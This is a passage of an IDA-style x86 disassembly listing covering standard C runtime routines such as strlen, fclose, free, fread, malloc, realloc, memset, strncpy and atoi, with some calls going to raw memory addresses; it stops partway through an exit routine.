loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD3E8
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD3E4
		nop
		call	near ptr 27D0000h


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD3E8
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD3E0
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD3E4
		call	near ptr 27E0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3E4
		call	near ptr 2870000h
		nop
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE98, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CEC4
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD3E4
		nop
		call	near ptr 27E0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3E4
		call	near ptr 2870000h
		nop
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE98, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD3E4
		call	near ptr 2870000h
		nop
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE98, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE98
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD3E8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD3E0
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CEC4
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD3E4
		nop
		call	near ptr 27E0000h


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D0D4, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CEC8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D0D4, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CEC8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE6C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE74, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		call	near ptr 273064Dh
		nop
		push	eax
		nop
		call	near ptr 2720A1Ah


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE70, edi
		mov	byte_4DBE6C, bl
